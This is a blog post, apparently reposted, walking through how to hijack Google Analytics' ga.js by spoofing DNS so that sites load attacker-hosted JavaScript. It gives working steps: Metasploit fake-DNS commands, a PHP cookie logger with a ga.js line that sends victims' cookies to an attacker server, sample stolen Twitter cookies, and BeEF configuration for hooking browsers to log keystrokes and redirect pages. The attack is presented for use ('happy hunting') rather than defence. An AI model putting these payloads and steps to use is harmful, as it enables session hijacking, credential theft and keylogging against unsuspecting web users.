Hijacking Google Analytics

The Rambling Intro

This is a fun one I came up with while looking at a site this week. I feel sure that somebody else must have come up with this before me, but I’ve never seen anyone blog about it or anything, so here goes.

The back story is that somebody posted a link to some “password strength checker” website, in which of course you type your password and it tells you how long it thinks it would take someone to crack it. Naturally, I find this to be a dumb idea, as you’re typing your password into some random website of some random guy you don’t know, and it didn’t even use SSL.

The site author explains that this isn’t a problem, because all the calculations are done in javascript, and no data is ever actually sent to his website. Alright, fine, even though the vast majority of users will never do this, I checked the code, and sure enough, no data goes to him, it’s all done in the browser. But… wait, he does use Google Analytics. Interesting.

Now the problem with the idea that it’s okay to type in a password on a website that doesn’t use SSL because it doesn’t ever send the data, is that the page can be manipulated. An attacker might change the form to actually submit the data somewhere, or he might inject javascript to actually record each key press and do the same, etc. The difficult part about pulling off an attack like that is that normally it means the attacker must have an actively maintained position as a man-in-the-middle for each target, replacing HTML content on the fly, and hoping he doesn’t noticeably break anything.

But what if there happened to already be a standalone chunk of javascript already included on roughly half the websites people use in the world? What if we could hijack that chunk of javascript with a fair amount less effort than keeping ettercap in place 24/7?

The Requirements

Alright, to pull this off, we still need a few things already accomplished. The only tough thing you have to pull off is getting control of the target’s DNS somehow. More specifically, we need to at least control the resolution to a single specific DNS record. There’s dozens of ways to do this, including, but not limited to :

• Actually being a man-in-the-midde, and using dnsspoof, ettercap, what have you.
• Compromising the victim’s DNS server. Less likely if they’re using a major provider, but maybe you’re pen-testing an organization that runs one internally.
• Add a record to the victim’s hosts file. This obviously requires some access already, but it would give you some additional permanence on a box, and help escalate you past what you have access to without their web passwords. It’s also not likely to be noticed if the victim doesn’t have some kind of file integrity tripwire set up.
• Changing the DNS server on a router. Easy to do on your average home wireless router run by the inept, and still possible if an organization hasn’t properly secured their routers.
• Run a fake DHCP server, and hand out your DNS server’s address to clients. This can go along well with PwnPlugs, for example.

So once we can do that, we just need to get their browser to believe that “www.google-analytics.com”, aka “www-google-analytics.l.google.com”, is at an IP address where we have a web server running on port 80.

Interestingly, Google makes this easy for us, in that we don’t have to worry about SSL, or certificate errors. We probably don’t have a way to make our web server’s SSL certificate match the one for Google’s, but that’s okay. In the javascript included on web pages that use it, Google Analytics actually checks to see if the site is being accessed via SSL, and if so, it calls the Analytics code from an entirely different host name, ssl.google-analytics.com, rather than www.

This means that if the victim accesses a site using Google Analytics over SSL from the start, we don’t get access, but the user also doesn’t get alerted. However, if the site initially loads unencrypted, we can hijack things and replace any links to https with regular http links from then on out.

The Fake DNS Server

For this demonstration, I’m going to assume we have successfully changed the DNS server of our victim. Again, this isn’t strictly necessary, but it’s the method I’m going to discuss in this post. As always, there are a dozen ways to do even this step, but in this instance I’m going to use a modified version of a modified version of the fake DNS server in the ever glorious Metasploit.

The problem with the fake DNS server included in Metasploit is that it will respond to all DNS queries with a single IP address, with the exception of specified domains which it will resolve normally. We want to do the exact opposite: Resolve all queries normally, with the exception of a specified domain, which we will be hijacking. Fortunately, a modified version of the Metasploit DNS server has been posted here, and it will do just that. Unfortunately, it’s broken.

Since that module was posted years ago, a lot of things have changed in Metasploit, and the module doesn’t work quite right now. The good news is, it’s easy to fix. Download the file from his website from here, or my mirror from here. Once you have the module, put it into your “modules/auxiliary/server/” directory inside Metasploit. In my case, that makes it /opt/framework3/msf3/modules/auxiliary/server/mitm_fakedns.rb, but yours may be different, especially if you installed MSF after it hit version 4.

Now you can either try and fix it yourself so that Metasploit doesn’t complain about it being formatted wrong, or you can just download my patch for it and fix it.

curl http://www.seventhoctober.net/mitm_fakedns.rb.patch | patch mitm_fakedns.rb

Metasploit should now be able to load and work with the module. The module requires two options set, one for the legitimate DNS server to forward most requests to, and one for a file containing a list of regular expressions to tell the module which DNS responses to mess with. For the first, pick any DNS server you like. For the second, create a file like so, replacing 127.0.0.1 with your external IP address :

echo 127.0.0.1,www-google-analytics.l.google.com > /root/hosts_spoof

You may note that this is not exactly a record for www.google-analytics.com. This threw me off a little bit at first, until I realized that this module does not run the given regex against the DNS requests, but rather the DNS responses from the legitimate server. Since a request for www.google-analytics.com actually returns a canonical name of www-google-analytics.l.google.com, we must make that our expression to match and be modified.

Incidentally, the URL looks vaguely like it might be a load balanced response, but I was unable to get any other answers back in the short time that I was messing with it. Keep that in mind, and in case yours doesn’t work for some reason, check that this is the response you are getting. If anybody knows more about that, I’d be interested in hearing from you.

Next, start the DNS server module with something like the following :

msfcli auxiliary/server/mitm_fakedns filename=/root/hosts_spoof realdns=8.8.8.8 E

And check that it is working with a query like :

dig @127.0.0.1 www.google-analytics.com

If all went well, it should return your own IP address in the record.

The Evil JavaScript

At this point, you can run any old web server with any old villainous javascript, so long as the server runs on port 80, and the javascript is hosted at /ga.js. Just about every website that uses Google Analytics will happily execute your javascript in the context of the page that loads it. Have fun!
Being that this is both an explanatory and a demo post, let’s specifically discuss a couple methods of actually abusing this technique. Firstly, let’s do a simple cross site cookie stealer. Since our javascript is running on the pages of the victims, we have access to the cookies of any page it runs on. As it turns out, this includes sites like Twitter, and WordPress.

Assuming you have a web server than can run PHP, create a couple of files that look something like the following :

[root html]# cat xss.php
$xssLog = “xss.log”;
$filehandler = fopen($xssLog, ‘a’) or die(“Cannot open file.”);
$writeString = $_SERVER["REMOTE_ADDR"] . ” – ” . $_SERVER["HTTP_USER_AGENT"] . ” – Referrer: ” . $_SERVER["HTTP_REFERER"] . ” – Cookie: ” . $_GET["cookie"] . “\n”;
fwrite($filehandler, $writeString);
fclose($fh);
?>

[root html]# cat ga.js
new Image().src=”http://YOUR_SERVER_ADDRESS/xss.php?cookie=”+encodeURI(document.cookie);

Next you’ll want to create a file for stuff to be logged to, and make sure the web server can write to it. This command may vary, based on your web server, or you can just chmod it. This is probably a slightly safer approach though :

[root html]# touch xss.log
[root html]# chown apache:apache xss.log

Once these are up, any time a victim visits any web page that uses Google Analytics, you should automatically get a record of it along with their cookies.

[root html]# cat xss.log
12.120.184.8 – Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 – Referrer: http://twitter.com/ – Cookie: k=10.25.435.167.1321234567890349; guest_id=v1%3A132061234567865685; original_referer=8bhz%2B%2ByebvgRkMMFCXx%2FCUOEvDoVeFTl; twid=u%3D412345908%7CTcf4XaVwruflsKyq5xgPpcA%2mwNw%3D; twll=l%3D1234616679; lang=en; js=1

Using Burp, or whatever your favorite tool is, you can use these cookies to become your victim on whatever website they browsed to.

The BeEF

Have you heard of BeEF? Now you have. Basically put, BeEF is a tool designed to help security people demonstrate exactly how serious these kinds of attacks can be. It acts as a web server, hosting a control panel for you, and some javascript for your victims. BeEF lets us get a little more… interactive.

BackTrack comes with BeEF installed, and it might actually work out of the box. Mine didn’t, and yours probably won’t, but I’m not helping you fix yours here if it’s broken. Come back when it’s working. :-)

Before we start BeEF, we need to make a couple changes to the config. On my system, the config file is located at “/pentest/web/beef/config.yaml”. Find and open that file. Find the http section, and replace the port and hook_file to look like so :

http :

host: “0.0.0.0″
port: “80″
# if running behind a nat set the public ip address here
#public: “”
dns: “localhost”
panel_path: “/ui/panel”
hook_file: “/ga.js”
hook_session_name: “BEEFHOOK”
session_cookie_name: “BEEFSESSION”

Now start up BeEF…

root@Wraith:/pentest/web/beef# ./beef
[15:14:23][*] Browser Exploitation Framework (BeEF)
[15:14:23] | Version 0.4.2.11-alpha
[15:14:23] | Website http://beefproject.com
[15:14:23] | Run ‘beef -h’ for basic help.
[15:14:23] |_ Run ‘svn update’ to update to the latest revision.
[15:14:25][*] BeEF is loading. Wait a few seconds…
[snip...]
[15:14:29][+] running on network interface: 127.0.1.1
[15:14:29] | Hook URL: http://127.0.1.1:80/ga.js
[15:14:29] |_ UI URL: http://127.0.1.1:80/ui/panel
[snip...]

As you hopefully noticed, you can find your control panel at http://127.0.1.1:80/ui/panel. I’ll leave you to figure out the default credentials, but you should probably change them anyway, in “beef/extensions/admin_ui/config.yaml”. Once you’re in, as soon as a victim has browsed to a site that uses Google Analytics, you should see them show up in your control panel.

Once a victim is in your control panel, you can browse through the commands tab to see all the nasty things you can do to them. Among such possibilities are:

• Keylogging for everything typed on the page, including passwords.
• Page redirection, including the ability to redirect using an iFrame, so as not to change the URL in the address bar.
• Rickrolling. See previous.
• Sending Java payloads to the client.
• Making HTTP requests from the victim’s browser.
• Stealing cookies associated with the page.
• Making Skype calls.
• Getting the current geographical location of the victim.
• Determining if the victim is using Tor.
• Determining if the victim is signed into social networks.
• Running arbitrary raw javascript.

… and lots more. BeEF is fun, and it’s just one of the javascript exploit frameworks out there. Happy hunting!

Sumber : http://adf.ly/3cEbH